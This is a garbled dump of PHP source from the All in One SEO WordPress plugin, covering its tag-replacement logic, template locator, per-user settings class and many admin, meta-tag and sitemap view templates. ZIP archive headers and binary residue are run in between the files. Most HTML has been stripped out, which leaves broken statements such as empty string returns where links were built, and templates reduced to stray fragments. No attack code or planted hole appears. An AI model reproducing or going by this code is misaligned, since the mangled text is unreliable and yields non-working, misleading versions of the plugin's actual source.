aioseo()->helpers->getPublicTaxonomies() as $taxonomy ) { $context[ $taxonomy['name'] . 'Title' ] = $context['taxonomyTitle']; $context[ $taxonomy['name'] . 'Description' ] = $context['taxonomyDescription']; } return $context; } /** * Replace the tags in the string provided. * * @since 4.0.0 * * @param string $string The string to look for tags in. * @param int $id The page or post ID. * @return string The string with tags replaced. */ public function replaceTags( $string, $id ) { if ( ! $string || ! preg_match( '/#/', $string ) ) { return $string; } foreach ( $this->tags as $tag ) { if ( 'custom_field' === $tag['id'] || 'tax_name' === $tag['id'] ) { continue; } $tagId = $this->denotationChar . $tag['id']; // Pattern explained: Exact match of tag, not followed by any additional letter, number or underscore. // This allows us to have tags like: #post_link and #post_link_alt // and it will always replace the correct one. $pattern = "/$tagId(?![a-zA-Z0-9_])/im"; if ( preg_match( $pattern, $string ) ) { $tagValue = $this->getTagValue( $tag, $id ); $string = preg_replace( $pattern, '%|%' . aioseo()->helpers->escapeRegexReplacement( $tagValue ), $string ); } } $string = $this->parseTaxonomyNames( $string, $id ); // Custom fields are parsed separately. $string = $this->parseCustomFields( $string ); return preg_replace( '/%\|%/im', '', $string ); } /** * Get the value of the tag to replace. * * @since 4.0.0 * * @param string $tag The tag to look for. * @param int $id The post ID. * @param bool $sampleData Whether or not to fill empty values with sample data. * @return mixed The value of the tag. */ public function getTagValue( $tag, $id, $sampleData = false ) { $author = new \WP_User(); $post = aioseo()->helpers->getPost( $id ); $postId = null; $category = null; if ( $post ) { $author = new \WP_User( $post->post_author ); $postId = empty( $id ) ? $post->ID : $id; $category = get_the_category( $postId ); } elseif ( is_author() && is_a( get_queried_object(), 'WP_User' ) ) { $author = get_queried_object(); } switch ( $tag['id'] ) { case 'alt_tag': return empty( $id ) ? ( $sampleData ? __( 'A sample alt tag for your image', 'all-in-one-seo-pack' ) : '' ) : get_post_meta( $id, '_wp_attachment_image_alt', true ); case 'archive_date': $date = null; if ( is_year() ) { $date = get_the_date( 'Y' ); } if ( is_month() ) { $date = get_the_date( 'F, Y' ); } if ( is_day() ) { $date = get_the_date(); } if ( $sampleData ) { $date = $this->formatDateAsI18n( date_i18n( 'U' ) ); } if ( ! empty( $date ) ) { return $date; } break; case 'archive_title': $title = is_post_type_archive() ? post_type_archive_title( '', false ) : get_the_archive_title(); return $sampleData ? __( 'Sample Archive Title', 'all-in-one-seo-pack' ) : wp_strip_all_tags( $title ); case 'author_bio': $bio = get_the_author_meta( 'description', $author->ID ); return empty( $bio ) && $sampleData ? __( 'Sample author biography', 'all-in-one-seo-pack' ) : $bio; case 'author_first_name': $name = $author->first_name; return empty( $name ) && $sampleData ? wp_get_current_user()->first_name : $author->first_name; case 'author_last_name': $name = $author->last_name; return empty( $name ) && $sampleData ? wp_get_current_user()->last_name : $author->last_name; case 'author_link': return '' . esc_html( $author->display_name ) . ''; case 'author_link_alt': return '' . esc_url( get_author_posts_url( $author->ID ) ) . ''; case 'author_name': $name = $author->display_name; return empty( $name ) && $sampleData ? wp_get_current_user()->display_name : $author->display_name; case 'author_url': $authorUrl = get_author_posts_url( $author->ID ); return ! empty( $authorUrl ) ? $authorUrl : ''; case 'attachment_caption': $caption = wp_get_attachment_caption( $postId ); return empty( $caption ) && $sampleData ? __( 'Sample caption for media.', 'all-in-one-seo-pack' ) : $caption; case 'attachment_description': $description = ! empty( $post->post_content ) ? $post->post_content : ''; return empty( $description ) && $sampleData ? __( 'Sample description for media.', 'all-in-one-seo-pack' ) : $description; case 'categories': if ( ! is_object( $post ) || 'post' !== $post->post_type ) { return ! is_object( $post ) && $sampleData ? __( 'Sample Category 1, Sample Category 2', 'all-in-one-seo-pack' ) : ''; } $categories = get_the_terms( $post->ID, 'category' ); $names = []; if ( ! is_array( $categories ) ) { return ''; } foreach ( $categories as $category ) { $names[] = $category->name; } return implode( ', ', $names ); case 'category_link': return '' . ( $category ? $category[0]->name : '' ) . ''; case 'category_link_alt': return '' . esc_url( get_category_link( $category ) ) . ''; case 'current_date': return $this->formatDateAsI18n( date_i18n( 'U' ) ); case 'current_day': return date_i18n( 'd' ); case 'current_month': return date_i18n( 'F' ); case 'current_year': return date_i18n( 'Y' ); case 'custom_field': return $sampleData ? __( 'Sample Custom Field Value', 'all-in-one-seo-pack' ) : ''; case 'featured_image': if ( ! has_post_thumbnail( $postId ) ) { return $sampleData ? __( 'Sample featured image', 'all-in-one-seo-pack' ) : ''; } $imageId = get_post_thumbnail_id( $postId ); $image = (array) wp_get_attachment_image_src( $imageId, 'full' ); $image = isset( $image[0] ) ? '' : ''; return $sampleData ? __( 'Sample featured image', 'all-in-one-seo-pack' ) : $image; case 'page_number': return aioseo()->helpers->getPageNumber(); case 'parent_title': if ( ! is_object( $post ) || ! $post->post_parent ) { return ! is_object( $post ) && $sampleData ? __( 'Sample Parent', 'all-in-one-seo-pack' ) : ''; } $parent = get_post( $post->post_parent ); return $parent ? $parent->post_title : ''; case 'permalink': return aioseo()->helpers->getUrl(); case 'post_date': $date = $this->formatDateAsI18n( get_the_date( 'U' ) ); return empty( $date ) && $sampleData ? $this->formatDateAsI18n( date_i18n( 'U' ) ) : $date; case 'post_day': $day = get_the_date( 'd', $post ); return empty( $day ) && $sampleData ? date_i18n( 'd' ) : $day; case 'post_excerpt_only': return empty( $postId ) ? ( $sampleData ? __( 'Sample excerpt from a page/post.', 'all-in-one-seo-pack' ) : '' ) : $post->post_excerpt; case 'post_excerpt': if ( empty( $postId ) ) { return $sampleData ? __( 'Sample excerpt from a page/post.', 'all-in-one-seo-pack' ) : ''; } if ( $post->post_excerpt ) { return $post->post_excerpt; } // Fall through if the post doesn't have an excerpt set. In that case getDescriptionFromContent() will generate it for us. case 'post_content': return empty( $postId ) ? ( $sampleData ? __( 'An example of content from your page/post.', 'all-in-one-seo-pack' ) : '' ) : aioseo()->helpers->getDescriptionFromContent( $post ); case 'post_link': return '' . esc_html( get_the_title( $post ) ) . ''; case 'post_link_alt': return '' . esc_url( get_permalink( $post ) ) . ''; case 'post_month': $month = get_the_date( 'F', $post ); return empty( $month ) && $sampleData ? date_i18n( 'F' ) : $month; case 'post_title': $title = esc_html( get_the_title( $post ) ); return empty( $title ) && $sampleData ? __( 'Sample Post', 'all-in-one-seo-pack' ) : $title; case 'post_year': $year = get_the_date( 'Y', $post ); return empty( $year ) && $sampleData ? date_i18n( 'Y' ) : $year; case 'search_term': $search = get_search_query(); return empty( $search ) && $sampleData ? __( 'Example search string', 'all-in-one-seo-pack' ) : esc_attr( stripslashes( $search ) ); case 'separator_sa': return aioseo()->helpers->decodeHtmlEntities( aioseo()->options->searchAppearance->global->separator ); case 'site_link': case 'blog_link': return '' . esc_html( get_bloginfo( 'name' ) ) . ''; case 'site_link_alt': return '' . esc_url( get_bloginfo( 'url' ) ) . ''; case 'tag': return single_term_title( '', false ); case 'tax_name': return $sampleData ? __( 'Sample Taxonomy Name Value', 'all-in-one-seo-pack' ) : ''; case 'tax_parent_name': $termObject = get_term( $id ); $parentTermObject = ! empty( $termObject->parent ) ? get_term( $termObject->parent ) : ''; $name = is_a( $parentTermObject, 'WP_Term' ) && ! empty( $parentTermObject->name ) ? $parentTermObject->name : ''; return $sampleData ? __( 'Sample Parent Term Name', 'all-in-one-seo-pack' ) : $name; case 'taxonomy_description': $description = term_description(); return empty( $description ) && $sampleData ? __( 'Sample taxonomy description', 'all-in-one-seo-pack' ) : $description; case 'taxonomy_title': case 'category': $title = $this->getTaxonomyTitle( $postId ); return ! $title && $sampleData ? __( 'Sample Taxonomy Title', 'all-in-one-seo-pack' ) : $title; case 'site_description': case 'blog_description': case 'tagline': return aioseo()->helpers->decodeHtmlEntities( get_bloginfo( 'description' ) ); case 'site_title': case 'blog_title': return aioseo()->helpers->decodeHtmlEntities( get_bloginfo( 'name' ) ); default: return ''; } } /** * Get the category title. * * @since 4.0.0 * * @param integer $postId The post ID if set. * @return string The category title. */ private function getTaxonomyTitle( $postId = null ) { $title = ''; if ( aioseo()->helpers->isWooCommerceActive() && is_product_category() ) { $title = single_cat_title( '', false ); } elseif ( is_category() ) { $title = single_cat_title( '', false ); } elseif ( is_tag() ) { $title = single_tag_title( '', false ); } elseif ( is_author() ) { $title = get_the_author(); } elseif ( is_tax() ) { $title = single_term_title( '', false ); } elseif ( is_post_type_archive() ) { $title = post_type_archive_title( '', false ); } elseif ( is_archive() ) { $title = get_the_archive_title(); } if ( $postId ) { $post = aioseo()->helpers->getPost( $postId ); $postTaxonomies = get_object_taxonomies( $post, 'objects' ); $postTerms = []; foreach ( $postTaxonomies as $taxonomySlug => $taxonomy ) { if ( ! $taxonomy->hierarchical ) { continue; } $primaryTerm = aioseo()->standalone->primaryTerm->getPrimaryTerm( $postId, $taxonomySlug ); if ( $primaryTerm ) { $postTerms[] = get_term( $primaryTerm, $taxonomySlug ); continue; } $postTaxonomyTerms = get_the_terms( $postId, $taxonomySlug ); if ( is_array( $postTaxonomyTerms ) ) { $postTerms = array_merge( $postTerms, $postTaxonomyTerms ); } } $title = $postTerms ? $postTerms[0]->name : ''; if ( aioseo()->helpers->isWooCommerceActive() && is_product() ) { $terms = get_the_terms( $postId, 'product_cat' ); $title = $terms ? $terms[0]->name : ''; } } return wp_strip_all_tags( (string) $title ); } /** * Formatted Date * * Get formatted date based on WP options. * * @since 4.0.0 * * @param null|int $date Date in UNIX timestamp format. Otherwise, current time. * @return string Date internationalized. */ public function formatDateAsI18n( $date = null ) { if ( ! $date ) { $date = time(); } $format = get_option( 'date_format' ); $formattedDate = date_i18n( $format, $date ); return apply_filters( 'aioseo_format_date', $formattedDate, [ $date, $format ] ); } /** * Parses custom taxonomy tags by replacing them with the name of the first assigned term of the given taxonomy. * * @since 4.0.0 * * @param string $string The string to parse. * @return mixed The new title. */ private function parseTaxonomyNames( $string, $id ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $pattern = '/' . $this->denotationChar . 'tax_name-([a-zA-Z0-9_-]+)/im'; $string = preg_replace_callback( $pattern, [ $this, 'replaceTaxonomyName' ], $string ); $pattern = '/' . $this->denotationChar . 'tax_name(?![a-zA-Z0-9_-])/im'; return preg_replace( $pattern, '', $string ); } /** * Adds support for using #custom_field-[custom_field_title] for using * custom fields / Advanced Custom Fields in titles / descriptions etc. * * @since 4.0.0 * * @param string $string The string to parse customs fields out of. * @return mixed The new title. */ public function parseCustomFields( $string ) { $pattern = '/' . $this->denotationChar . 'custom_field-([a-zA-Z0-9_-]+)/im'; $string = preg_replace_callback( $pattern, [ $this, 'replaceCustomField' ], $string ); $pattern = '/' . $this->denotationChar . 'custom_field(?![a-zA-Z0-9_-])/im'; return preg_replace( $pattern, '', $string ); } /** * Add context to our internal context. * * @since 4.0.0 * * @param array $context A context array to append. * @return void */ public function addContext( $context ) { $this->context = array_merge( $this->context, $context ); } /** * Add tags to our internal tags. * * @since 4.0.0 * * @param array $tags A tags array to append. * @return void */ public function addTags( $tags ) { $this->tags = array_merge( $this->tags, $tags ); } /** * Replaces a taxonomy name tag with its respective value. * * @since 4.0.0 * * @param array $matches The matches. * @return string The replaced matches. */ private function replaceTaxonomyName( $matches ) { $termName = ''; $post = aioseo()->helpers->getPost(); if ( ! empty( $matches[1] ) && $post ) { $taxonomy = get_taxonomy( $matches[1] ); if ( ! $taxonomy ) { return ''; } $term = aioseo()->standalone->primaryTerm->getPrimaryTerm( $post->ID, $taxonomy->name ); if ( ! $term ) { $terms = get_the_terms( $post->ID, $taxonomy->name ); if ( ! $terms || is_wp_error( $terms ) ) { return ''; } $term = array_shift( $terms ); } $termName = $term->name; } return '%|%' . $termName; } /** * (ACF) Custom Field Replace. * * @since 4.0.0 * * @param array $matches Array of matched values. * @return bool|string New title/text. */ private function replaceCustomField( $matches ) { $result = ''; if ( ! empty( $matches ) ) { if ( ! empty( $matches[1] ) ) { if ( function_exists( 'get_field' ) ) { $result = get_field( $matches[1], get_queried_object() ); } if ( empty( $result ) ) { global $post; if ( ! empty( $post ) ) { $result = get_post_meta( $post->ID, $matches[1], true ); } } } else { $result = $matches[0]; } } $result = wp_strip_all_tags( $result ); return '%|%' . $result; } /** * Get the default tags for the current post. * * @since 4.0.0 * * @param integer $postId The Post ID. * @return array An array of tags. */ public function getDefaultPostTags( $postId ) { $post = get_post( $postId ); $title = aioseo()->meta->title->getTitle( $post, true ); $description = aioseo()->meta->description->getDescription( $post, true ); return [ 'title' => empty( $title ) ? '' : $title, 'description' => empty( $description ) ? '' : $description ]; } }PKÉ—[sÁ D D 2all-in-one-seo-pack/app/Common/Utils/Templates.phpnu„[µü¤getThemeTemplatePath() ) . trailingslashit( $this->getThemeTemplateSubpath() ) . $templateName ] ); if ( ! $template ) { // Try paths, in order. foreach ( $this->paths as $path ) { $template = trailingslashit( $this->addPluginPath( $path ) ) . $templateName; if ( aioseo()->core->fs->exists( $template ) ) { break; } } } return apply_filters( 'aioseo_locate_template', $template, $templateName ); } /** * Includes a template if the file exists. * * @param string $templateName The template path/name.php to be included. * @param null $data Data passed down to the template. * @return void */ public function getTemplate( $templateName, $data = null ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $template = $this->locateTemplate( $templateName ); if ( ! empty( $template ) and aioseo()->core->fs->exists( $template ) ) { include $template; } } /** * Add this plugin path when trying the paths. * * @since 4.0.17 * * @param string $path A path. * @return string A path with the plugin absolute path. */ protected function addPluginPath( $path ) { return trailingslashit( $this->pluginPath ) . $path; } /** * Returns the theme folder for templates. * * @since 4.0.17 * * @return string The theme folder for templates. */ public function getThemeTemplatePath() { return apply_filters( 'aioseo_template_path', $this->themeTemplatePath ); } /** * * Returns the theme subfolder for templates. * * @since 4.0.17 * * @return string The theme subfolder for templates. */ public function getThemeTemplateSubpath() { return apply_filters( 'aioseo_template_subpath', $this->themeTemplateSubpath ); } }PKÉ—[›§R$R$4all-in-one-seo-pack/app/Common/Utils/VueSettings.phpnu„[µü¤ true, 'showSetupWizard' => true, 'toggledCards' => [ 'dashboardOverview' => true, 'dashboardSeoSetup' => true, 'dashboardSeoSiteScore' => true, 'dashboardNotifications' => true, 'dashboardSupport' => true, 'license' => true, 'webmasterTools' => true, 'enableBreadcrumbs' => true, 'breadcrumbSettings' => true, 'breadcrumbTemplates' => true, 'advanced' => true, 'accessControl' => true, 'rssContent' => true, 'generalSitemap' => true, 'generalSitemapSettings' => true, 'imageSitemap' => true, 'videoSitemap' => true, 'newsSitemap' => true, 'rssSitemap' => true, 'rssSitemapSettings' => true, 'rssAdditionalPages' => true, 'rssAdvancedSettings' => true, 'additionalPages' => true, 'advancedSettings' => true, 'videoSitemapSettings' => true, 'videoAdditionalPages' => true, 'videoAdvancedSettings' => true, 'videoEmbedSettings' => true, 'newsSitemapSettings' => true, 'newsAdditionalPages' => true, 'newsAdvancedSettings' => true, 'newsEmbedSettings' => true, 'socialProfiles' => true, 'facebook' => true, 'facebookHomePageSettings' => true, 'facebookAdvancedSettings' => true, 'twitter' => true, 'twitterHomePageSettings' => true, 'pinterest' => true, 'searchTitleSeparator' => true, 'searchHomePage' => true, 'searchSchema' => true, 'searchMediaAttachments' => true, 'searchAdvanced' => true, 'searchAdvancedCrawlCleanup' => true, 'authorArchives' => true, 'dateArchives' => true, 'searchArchives' => true, 'imageSeo' => true, 'completeSeoChecklist' => true, 'localBusinessInfo' => true, 'localBusinessOpeningHours' => true, 'locationsSettings' => true, 'advancedLocationsSettings' => true, 'localBusinessMapsApiKey' => true, 'localBusinessMapsSettings' => true, 'robotsEditor' => true, 'badBotBlocker' => true, 'databaseTools' => true, 'htaccessEditor' => true, 'databaseToolsLogs' => true, 'systemStatusInfo' => true, 'addNewRedirection' => true, 'redirectSettings' => true, 'debug' => true, 'fullSiteRedirectsRelocate' => true, 'fullSiteRedirectsAliases' => true, 'fullSiteRedirectsCanonical' => true, 'fullSiteRedirectsHttpHeaders' => true, 'htmlSitemap' => true, 'htmlSitemapSettings' => true, 'htmlSitemapAdvancedSettings' => true, 'linkAssistantSettings' => true, 'domainActivations' => true, '404Settings' => true, 'userProfiles' => true, 'queryArgLogs' => true, ], 'toggledRadio' => [ 'breadcrumbsShowMoreSeparators' => false, 'searchShowMoreSeparators' => false, 'overviewPostType' => 'post', ], 'dismissedAlerts' => [ 'searchStatisticsContentRankings' => false ], 'internalTabs' => [ 'authorArchives' => 'title-description', 'dateArchives' => 'title-description', 'searchArchives' => 'title-description', 'seoAuditChecklist' => 'all-items' ], 'tablePagination' => [ 'networkDomains' => 20, 'redirects' => 20, 'redirectLogs' => 20, 'redirect404Logs' => 20, 'sitemapAdditionalPages' => 20, 'linkAssistantLinksReport' => 20, 'linkAssistantPostsReport' => 20, 'linkAssistantDomainsReport' => 20, 'searchStatisticsSeoStatistics' => 20, 'searchStatisticsKeywordRankings' => 20, 'searchStatisticsContentRankings' => 20, 'searchStatisticsPostDetailKeywords' => 20, 'queryArgs' => 20 ] ]; /** * The Construct method. * * @since 4.0.0 * * @param string $settings An array of settings. */ public function __construct( $settings = '_aioseo_settings' ) { $this->addDynamicDefaults(); $this->settingsName = $settings; $dbSettings = get_user_meta( get_current_user_id(), $settings, true ); $this->settings = $dbSettings ? array_replace_recursive( $this->defaults, $dbSettings ) : $this->defaults; } /** * Adds some defaults that are dynamically generated. * * @since 4.0.0 * * @return void */ private function addDynamicDefaults() { $postTypes = aioseo()->helpers->getPublicPostTypes( false, false, true ); foreach ( $postTypes as $postType ) { $this->defaults['toggledCards'][ $postType['name'] . 'SA' ] = true; $this->defaults['internalTabs'][ $postType['name'] . 'SA' ] = 'title-description'; } $taxonomies = aioseo()->helpers->getPublicTaxonomies( false, true ); foreach ( $taxonomies as $taxonomy ) { $this->defaults['toggledCards'][ $taxonomy['name'] . 'SA' ] = true; $this->defaults['internalTabs'][ $taxonomy['name'] . 'SA' ] = 'title-description'; } $postTypes = aioseo()->helpers->getPublicPostTypes( false, true, true ); foreach ( $postTypes as $postType ) { $this->defaults['toggledCards'][ $postType['name'] . 'ArchiveArchives' ] = true; $this->defaults['internalTabs'][ $postType['name'] . 'ArchiveArchives' ] = 'title-description'; } // Check any addons for defaults. $addonsDefaults = array_filter( aioseo()->addons->doAddonFunction( 'vueSettings', 'addDynamicDefaults' ) ); foreach ( $addonsDefaults as $addonDefaults ) { $this->defaults = array_merge_recursive( $this->defaults, $addonDefaults ); } } /** * Retrieves all settings. * * @since 4.0.0 * * @return array An array of settings. */ public function all() { return array_replace_recursive( $this->defaults, $this->settings ); } /** * Retrieve a setting or null if missing. * * @since 4.0.0 * * @param string $name The name of the property that is missing on the class. * @param array $arguments The arguments passed into the method. * @return mixed The value from the settings or default/null. */ public function __call( $name, $arguments = [] ) { $value = isset( $this->settings[ $name ] ) ? $this->settings[ $name ] : ( ! empty( $arguments[0] ) ? $arguments[0] : $this->getDefault( $name ) ); return $value; } /** * Retrieve a setting or null if missing. * * @since 4.0.0 * * @param string $name The name of the property that is missing on the class. * @return mixed The value from the settings or default/null. */ public function __get( $name ) { $value = isset( $this->settings[ $name ] ) ? $this->settings[ $name ] : $this->getDefault( $name ); return $value; } /** * Sets the settings value and saves to the database. * * @since 4.0.0 * * @param string $name The name of the settings. * @param mixed $value The value to set. * @return void */ public function __set( $name, $value ) { $this->settings[ $name ] = $value; $this->update(); } /** * Checks if an settings is set or returns null if not. * * @since 4.0.0 * * @param string $name The name of the settings. * @return mixed True or null. */ public function __isset( $name ) { return isset( $this->settings[ $name ] ) ? false === empty( $this->settings[ $name ] ) : null; } /** * Unsets the settings value and saves to the database. * * @since 4.0.0 * * @param string $name The name of the settings. * @return void */ public function __unset( $name ) { if ( ! isset( $this->settings[ $name ] ) ) { return; } unset( $this->settings[ $name ] ); $this->update(); } /** * Gets the default value for a setting. * * @since 4.0.0 * * @param string $name The settings name. * @return mixed The default value. */ public function getDefault( $name ) { return isset( $this->defaults[ $name ] ) ? $this->defaults[ $name ] : null; } /** * Updates the settings in the database. * * @since 4.0.0 * * @return void */ public function update() { update_user_meta( get_current_user_id(), $this->settingsName, $this->settings ); } }PKÉ—[À’ÞÍŸŸ<all-in-one-seo-pack/app/Common/Views/admin/posts/columns.phpnu„[µü¤
    PKÉ—[Óœ¥žž<all-in-one-seo-pack/app/Common/Views/admin/terms/columns.phpnu„[µü¤
    PKÉ—[LôoÆ/Æ/<all-in-one-seo-pack/app/Common/Views/admin/settings-page.phpnu„[µü¤

    ', esc_attr( AIOSEO_PLUGIN_SHORT_NAME ) ); ?>

    PKÉ—[H¦ao5all-in-one-seo-pack/app/Common/Views/main/clarity.phpnu„[µü¤options->webmasterTools->microsoftClarityProjectId; if ( empty( $projectId ) || aioseo()->helpers->isAmpPage() ) { return; } ?> helpers->encodeOutputHtml( aioseo()->meta->description->getDescription() ); $robots = aioseo()->meta->robots->meta(); $keywords = $this->keywords->getKeywords(); $canonical = aioseo()->helpers->canonicalUrl(); $links = $this->links->getLinks(); ?> verification->meta() as $metaName => $value ) : ?> helpers->isAmpPage( 'amp' ) ) : ?> helpers->decodeHtmlEntities( aioseo()->options->webmasterTools->miscellaneousVerification ); $miscellaneous = trim( $miscellaneous ); if ( ! empty( $miscellaneous ) ) { echo "\n\t\t$miscellaneous\n"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped }PKÉ—[–¬‡AA4all-in-one-seo-pack/app/Common/Views/main/schema.phpnu„[µü¤schema->get(); ?> options->searchAppearance->advanced->sitelinks ) : ?> social->output->getFacebookMeta(); foreach ( $facebookMeta as $key => $meta ) : // Each article tag needs to be output in a separate meta tag so we cast and loop over each key. if ( ! is_array( $meta ) ) { $meta = [ $meta ]; } foreach ( $meta as $m ) : ?> social->output->getTwitterMeta(); foreach ( $twitterMeta as $key => $meta ) : ?>
    PKÉ—[W[ä‚‚Eall-in-one-seo-pack/app/Common/Views/sitemap/html/compact-archive.phpnu„[µü¤
    PKÉ—[3ÝRÛYYDall-in-one-seo-pack/app/Common/Views/sitemap/html/widget-options.phpnu„[µü¤

    $postTypeObject ) : ?>

    $taxonomyObject ) : ?>

    PKÉ—[é>¼fÝÝ<all-in-one-seo-pack/app/Common/Views/sitemap/xml/default.phpnu„[µü¤ sitemap->helpers->excludeImages() ): ?> xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" > sitemap->output->escapeAndEcho( $entry['loc'] ); ?> sitemap->output->escapeAndEcho( $entry['lastmod'] ); ?> sitemap->output->escapeAndEcho( $entry['changefreq'] ); ?> sitemap->output->escapeAndEcho( $entry['priority'] ); ?> sitemap->helpers->excludeImages() && ! empty( $entry['images'] ) ) { foreach ( $entry['images'] as $image ) { $image = (array) $image; ?> sitemap->output->escapeAndEcho( $image['image:loc'] ); ?> PKÉ—[ö}¼gg9all-in-one-seo-pack/app/Common/Views/sitemap/xml/root.phpnu„[µü¤ sitemap->output->escapeAndEcho( $entry['loc'] ); ?> sitemap->output->escapeAndEcho( $entry['lastmod'] ); ?> PKÉ—[ñÜ´ ÆÆ8all-in-one-seo-pack/app/Common/Views/sitemap/xml/rss.phpnu„[µü¤ helpers->isYandexUserAgent() ) { ?> <?php aioseo()->sitemap->output->escapeAndEcho( $title, false ); ?> sitemap->output->escapeAndEcho( $link ); ?> sitemap->output->escapeAndEcho( $description ); ?> sitemap->output->escapeAndEcho( $entries[0]['pubDate'] ); ?> https://validator.w3.org/feed/docs/rss2.html sitemap->output->escapeAndEcho( $ttl ); ?> sitemap->output->escapeAndEcho( $entry['guid'] ); ?> sitemap->output->escapeAndEcho( $entry['guid'] ); ?> <?php aioseo()->sitemap->output->escapeAndEcho( $entry['title'], false ); ?> sitemap->output->escapeAndEcho( $entry['pubDate'] ); ?> PKÉ—[{5ðúúHall-in-one-seo-pack/app/Common/Views/sitemap/xsl/partials/breadcrumb.phpnu„[µü¤sitemap->helpers->filename( 'general' ); $sitemapIndex = $sitemapIndex ? $sitemapIndex : 'sitemap'; ?> PKÉ—[wÔ–Ë……Gall-in-one-seo-pack/app/Common/Views/sitemap/xsl/partials/date-time.phpnu„[µü¤
    $datetime ) : ?>
    $datetime ) : ?>
    PKÉ—[(ã–H““Hall-in-one-seo-pack/app/Common/Views/sitemap/xsl/partials/pagination.phpnu„[µü¤ $currentPage; $hasPrevPage = $currentPage > 1; $nextPageUri = $hasNextPage ? preg_replace( '/sitemap([0-9]*)\.xml/', 'sitemap' . ( $currentPage + 1 ) . '.xml', $data['sitemapUrl'] ) : '#'; $prevPageUri = $hasPrevPage ? preg_replace( '/sitemap([0-9]*)\.xml/', 'sitemap' . ( $currentPage - 1 ) . '.xml', $data['sitemapUrl'] ) : '#'; ?> PKÉ—[8"z2»»Mall-in-one-seo-pack/app/Common/Views/sitemap/xsl/partials/sortable-column.phpnu„[µü¤ $data['column'], 'sitemap-orderby' => 'ascending' === $orderBy ? 'descending' : 'ascending' ], $data['sitemapUrl'] ); ?> */PKÉ—[Ô¨~~Fall-in-one-seo-pack/app/Common/Views/sitemap/xsl/partials/xsl-sort.phpnu„[µü¤ PKÉ—[Öu6áLall-in-one-seo-pack/app/Common/Views/sitemap/xsl/templates/empty-sitemap.phpnu„[µü¤access->hasCapability( 'aioseo_sitemap_settings' ); $adminUrl = admin_url( 'admin.php?page=aioseo-sitemaps' ); // phpcs:disable if ( 'xml-sitemap' !== $data['utmMedium'] ) { $adminUrl .= '#/' . str_replace( 'aioseo-', '', $data['utmMedium'] ); } ?> templates->getTemplate( 'sitemap/xsl/partials/breadcrumb.php', [ 'items' => $data['items'] ] ); } ?>


    helpers->utmUrl( AIOSEO_MARKETING_URL . 'docs/how-to-fix-a-404-error-when-viewing-your-sitemap/', $data['utmMedium'], 'learn-more' ) . '">', '' ); ?>
    PKÉ—[¶X-WWNall-in-one-seo-pack/app/Common/Views/sitemap/xsl/templates/format-priority.phpnu„[µü¤ low medium high
    PKÉ—[ËÇ!ã  Eall-in-one-seo-pack/app/Common/Views/sitemap/xsl/templates/header.phpnu„[µü¤

    ,

    ', ''); ?>

    PKÉ—[…ÔÚ 3 3<all-in-one-seo-pack/app/Common/Views/sitemap/xsl/default.phpnu„[µü¤ RSS Sitemap SitemapIndex <xsl:choose> <xsl:when test="$fileType='Sitemap' or $fileType='RSS'"><?php echo $title; ?></xsl:when> <xsl:otherwise><?php _e( 'Sitemap Index', 'all-in-one-seo-pack' ); ?></xsl:otherwise> </xsl:choose> templates->getTemplate( 'sitemap/xsl/styles.php' ); ?>
    sitemap->helpers->filename( 'general' ); $sitemapIndex = $sitemapIndex ? $sitemapIndex : 'sitemap'; aioseo()->templates->getTemplate( 'sitemap/xsl/partials/breadcrumb.php', [ 'items' => [ [ 'title' => __( 'Sitemap Index', 'all-in-one-seo-pack' ), 'url' => $sitemapUrl ], ] ] ); ?>
    templates->getTemplate( 'sitemap/xsl/partials/xsl-sort.php', [ 'parameters' => $sitemapParams, 'node' => 'sitemap:lastmod', ] ); ?> stripe
    templates->getTemplate( 'sitemap/xsl/partials/sortable-column.php', [ 'parameters' => $sitemapParams, 'sitemapUrl' => $sitemapUrl, 'column' => 'date', 'title' => __( 'Last Updated', 'all-in-one-seo-pack' ) ] ); ?>
    $count ) : ?>
    templates->getTemplate( 'sitemap/xsl/partials/date-time.php', [ 'datetime' => $xslParams['datetime'], 'node' => 'sitemap:loc' ] ); } ?>
    templates->getTemplate( 'sitemap/xsl/partials/breadcrumb.php', [ 'items' => [ [ 'title' => $title, 'url' => $sitemapUrl ], ] ] ); ?>
    templates->getTemplate( 'sitemap/xsl/partials/xsl-sort.php', [ 'parameters' => $sitemapParams, 'node' => 'pubDate', ] ); } ?> stripe
    templates->getTemplate( 'sitemap/xsl/partials/sortable-column.php', [ 'parameters' => $sitemapParams, 'sitemapUrl' => $sitemapUrl, 'column' => 'date', 'title' => __( 'Publication Date', 'all-in-one-seo-pack' ) ] ); ?>
    templates->getTemplate( 'sitemap/xsl/partials/date-time.php', [ 'datetime' => $xslParams['datetime'], 'node' => 'link' ] ); } ?>
    sitemap->helpers->filename( 'general' ); $sitemapIndex = $sitemapIndex ? $sitemapIndex : 'sitemap'; aioseo()->templates->getTemplate( 'sitemap/xsl/partials/breadcrumb.php', [ 'items' => [ [ 'title' => __( 'Sitemap Index', 'all-in-one-seo-pack' ), 'url' => home_url( "/$sitemapIndex.xml" ) ], [ 'title' => $title, 'url' => $sitemapUrl ], ] ] ); ?>
    sitemap->helpers->excludeImages() ) : ?> templates->getTemplate( 'sitemap/xsl/partials/xsl-sort.php', [ 'parameters' => $sitemapParams, 'node' => $node, ] ); } ?> stripe sitemap->helpers->excludeImages() ) : ?>
    templates->getTemplate( 'sitemap/xsl/partials/sortable-column.php', [ 'parameters' => $sitemapParams, 'sitemapUrl' => $sitemapUrl, 'column' => 'image', 'title' => __( 'Images', 'all-in-one-seo-pack' ) ] ); ?> templates->getTemplate( 'sitemap/xsl/partials/sortable-column.php', [ 'parameters' => $sitemapParams, 'sitemapUrl' => $sitemapUrl, 'column' => 'changefreq', 'title' => __( 'Change Frequency', 'all-in-one-seo-pack' ) ] ); ?> templates->getTemplate( 'sitemap/xsl/partials/sortable-column.php', [ 'parameters' => $sitemapParams, 'sitemapUrl' => $sitemapUrl, 'column' => 'priority', 'title' => __( 'Priority', 'all-in-one-seo-pack' ) ] ); ?> templates->getTemplate( 'sitemap/xsl/partials/sortable-column.php', [ 'parameters' => $sitemapParams, 'sitemapUrl' => $sitemapUrl, 'column' => 'date', 'title' => __( 'Last Updated', 'all-in-one-seo-pack' ) ] ); ?>
     →
     →
    templates->getTemplate( 'sitemap/xsl/partials/date-time.php', [ 'datetime' => $xslParams['datetime'], 'node' => 'sitemap:loc' ] ); } ?>
